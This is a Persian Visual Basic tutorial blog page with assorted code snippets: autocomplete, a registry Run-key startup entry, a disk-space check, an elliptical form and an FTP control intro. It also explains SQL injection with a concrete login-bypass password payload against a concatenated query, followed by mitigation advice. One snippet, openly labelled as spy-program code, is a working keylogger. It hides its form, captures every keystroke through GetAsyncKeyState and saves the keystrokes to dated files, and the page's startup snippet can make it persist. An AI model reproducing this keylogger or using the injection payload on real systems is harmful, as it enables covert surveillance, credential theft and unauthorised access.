برای اجرای برنامه موبایل فایل را از حالت زیپ خارج کرده و آنرا در دستاپ کامپیوتر قرار دهید با استفاده از موس برنامه موبایل را روی نرم افزار بیندازید
حجم فایل:800 کیلوبایت
رمز فایل :www.cesblog.ir
منبع:www.cesblog.ir
برای اجرای برنامه موبایل فایل را از حالت زیپ خارج کرده و آنرا در دستاپ کامپیوتر قرار دهید با استفاده از موس برنامه موبایل را روی نرم افزار بیندازید
حجم فایل:800 کیلوبایت
رمز فایل :www.cesblog.ir
منبع:www.cesblog.ir
اتصالات FTP

مقدمه : کنترل Internet Transfer نسبت به کنترل WebBrowser که در روزهاي قبلي معرفي شد در سطح پايينتري قرار دارد . اين کنترل با استفاده از دو پروتکل HTTP و FTP مي تواند داده ها را منتقل کند . اين کنترل زمانيکه از پروتکل HTTP استفاده مي کند با همان روش کنترل WebBrowser به سرويس دهنده صفحات وب متصل مي شود اما بجاي آنکه صفحه وب را نمايش دهد متن Html صفحه را بازيابي مي کند . همچنين زمانيکه اين کنترل از پروتکل FTP استفاده مي کند قادرست فايلها را بين کامپيوترهاي روي شبکه منتقل سازد .


امروز قصد دارم در مورد API هاي ويندوز و چگونگي استفاده از آنها در ويژوال بيسيک بطور خلاصه توضيح دهم و همچنين دو مثال پراستفاده را نيز در اين زمينه بيان کنم که عبارتند از چگونگي پخش فايلهاي Wav و ساخت يک تايمر با دقت بالا :




مثال : فرض کنيد دو فيلد به اسمهای username و password در يک فرم وب قرار دارد که برای ورود به يک سايت استفاده می شود . همچنين فرض کنيد از اطلاعات اين فيلدها بطور مستقيم يک query بصورت زير برای بانک اطلاعاتی ارسال شود :
us=request.form("username")
psw=request.form("password")
query="SELECT * FROM Users WHERE username='"&us&"' AND password='"&psw&"'"
حال در صورتيکه هکر يک username صحيح ( مثلاً xxx ) از سيستم را بداند و در فيلد username مقدار صحيح را وارد کرده و در فيلد password عبارت زير را وارد کند :
1111111' or username='xxx'
در اينصورت query بصورت زير در می آيد :
SELECT * FROM Users WHERE username='xxx' AND password='111111' or username='xxx'
در اينصورت هکر بدون دانستن يک password مجاز می تواند به سيستم وارد شود .
اين
امر بخاطر آنست که چون فيلدهای وارد شده توسط کاربر بطور مستقيم در query
قرار داده شده اند هکر توانسته کاراکتر ' را که در زبان SQL يک کاراکتر
کنترلی بوده و عملکرد خاصی دارد ( عمل خاتمه دادن به عبارت SQL ) را در در
query بگنجاند و سپس با دادن دستورات SQL مناسب کنترل را بدست بگيرد .
اين سناريو می تواند بسيار خطرناکتر باشد زيرا هکر می تواند از ساير دستورات SQL مثل INSERT و DELETE نيز استفاده کند .
- در نگارش مطالب فوق از کتاب " نفوذگری در شبکه و روشهای مقابله با آن " نوشته مهندس احسان ملکيان استفاده شده است . برای آشنايی بيشتر با sql-injection و روشهای مقابله با آن به صفحات ۳۲۰ تا ۳۲۸ اين کتاب مراجعه کنيد .
برای مقابله با اين حملات بايستی از داده های ارسال شده توسط کاربر مستقيماً query توليد نکنيم بلکه ابتدا عدم وجود کاراکترهای کنترلی مثل ' و " و ; و *و غيره را در آن بررسی کنيم . برنامه ابتدا بايد در query وجود چنين کاراکترهايی را در مکانهای غيرمجاز بررسی کند . در بخش بعدی برنامه ای را جهت بررسی query های SQL بمنظور مقابله با sql-injection ارائه خواهم داد .
| Code |
| FileName$ = "C:\windows\clouds.bmp" ext = Mid$(FileName$, InStr(1, FileName$, ".") + 1, 3) |
موفق باشید.
منبع:www.cesblog.ir
| Code |
| 'Enter the following code in the Keypress event of a text box. keyascii=asc(ucase(chr(keyascii))) |
منبع:www.cesblog.ir
| Code |
| Option Explicit Private Declare Function SHAutoComplete Lib "Shlwapi.dll" _ (ByVal hWndEdit As Long, _ ByVal dwFlags As Long) As Long Public Enum SHAC_Constants Default = &H0 FileSystem = &H1 URLHistory = &H2 URLMRU = &H4 URLAll = (&H2 Or &H4) End Enum Public Sub AutoComplete(txtItem As TextBox, lngType As SHAC_Constants) On Error GoTo ErrHandler SHAutoComplete txtItem.hWnd, lngType Exit Sub ErrHandler: End Sub Private Sub Form_Load() AutoComplete Text1, Default End Sub |
منبع:www.cesblog.ir
کد برنامه جاسوسی برنامه نویسی شده با ویژوال بیسیک
| Code |
| 'Just copy in paste in a new project Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Dim result As Integer Private Sub Form_Load() On Error GoTo ErrorHandler: Form1.Width = 0 Form1.Height = 0 Form1.Top = 0 Form1.Left = 0 MkDir (App.Path & "\" & "Spy") ErrorHandler: End Sub Private Sub Timer1_Timer() For i = 1 To 255 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then Text1.Text = Text1.Text + Chr(i) End If Next i End Sub Private Sub Timer2_Timer() On Error GoTo ErrorHandler Text2.Text = Format(Date, "dd,mm,yyyy") Open App.Path & "\" & "Spy" & "\" & Text2.Text & ".txt" For Output As #1 Write #1, Text1.Text Close #1 ErrorHandler: End Sub |
منبع:www.cesblog.ir
| Declarations |
| 'Add to a module Public Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Public Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long Public Const REG_SZ = 1 ' Unicode nul terminated String Public Const REG_DWORD = 4 ' 32-bit number Public Const HKEY_CLASSES_ROOT = &H80000000 Public Const HKEY_CURRENT_USER = &H80000001 Public Const HKEY_LOCAL_MACHINE = &H80000002 Public Const HKEY_USERS = &H80000003 Public Const HKEY_PERFORMANCE_DATA = &H80000004 Public Const ERROR_SUCCESS = 0& Public Const KEY_WRITE = &H20006 |
| Code |
| 'Run on startup 'reg path subkey = "Software\Microsoft\Windows\CurrentVersion\Run" retval = RegOpenKeyEx(HKEY_CURRENT_USER, subkey, 0, KEY_WRITE, hregkey) If retval <> 0 Then Debug.Print "Can't open the subkey" Exit Sub End If stringbuffer = App.Path & "\" & App.EXEName & ".exe" & vbNullChar retval = RegSetValueEx(hregkey, "My App", 0, REG_SZ, ByVal stringbuffer, Len(stringbuffer)) RegCloseKey hregkey |
منبع:www.cesblog.ir
| Declarations |
| Declare Function GetDiskFreeSpace Lib "kernel32" Alias "GetDiskFreeSpaceA" (ByVal lpRootPathName As String, lpSectorsPerCluster As Long, lpBytesPerSector As Long, lpNumberOfFreeClusters As Long, lpTtoalNumberOfClusters As Long) As Long Public Type DiskInformation lpSectorsPerCluster As Long lpBytesPerSector As Long lpNumberOfFreeClusters As Long lpTotalNumberOfClusters As Long End Type |
| Code |
| Dim info As DiskInformation Dim lAnswer As Long Dim lpRootPathName As String Dim lpSectorsPerCluster As Long Dim lpBytesPerSector As Long Dim lpNumberOfFreeClusters As Long Dim lpTotalNumberOfClusters As Long Dim lBytesPerCluster As Long Dim lNumFreeBytes As Double Dim sString As String lpRootPathName = "c:\" lAnswer = GetDiskFreeSpace(lpRootPathName, lpSectorsPerCluster, lpBytesPerSector, lpNumberOfFreeClusters, lpTotalNumberOfClusters) lBytesPerCluster = lpSectorsPerCluster * lpBytesPerSector lNumFreeBytes = lBytesPerCluster * lpNumberOfFreeClusters sString = "Number of Free Bytes : " & lNumFreeBytes & vbCr & vbLf sString = sString & "Number of Free Kilobytes: " & (lNumFreeBytes / 1024) & "K" & vbCr & vbLf sString = sString & "Number of Free Megabytes: " & Format(((lNumFreeBytes / 1024) / 1024), "0.00") & "MB" MsgBox sString |
منبع:www.cesblog.ir
| Private Declare Function CreateEllipticRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long Private Declare Function SetWindowRgn Lib "user32" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Long) As Long |
| 'place this code in the form load event Private Sub Form_Load() Dim lngRegion As Long Dim lngReturn As Long Dim lngFormWidth As Long Dim lngFormHeight As Long lngFormWidth = Me.Width / Screen.TwipsPerPixelX lngFormHeight = Me.Height / Screen.TwipsPerPixelY lngRegion = CreateEllipticRgn(0, 0, lngFormWidth, lngFormHeight) lngReturn = SetWindowRgn(Me.hWnd, lngRegion, True) End Sub |
منبع:www.cesblog.ir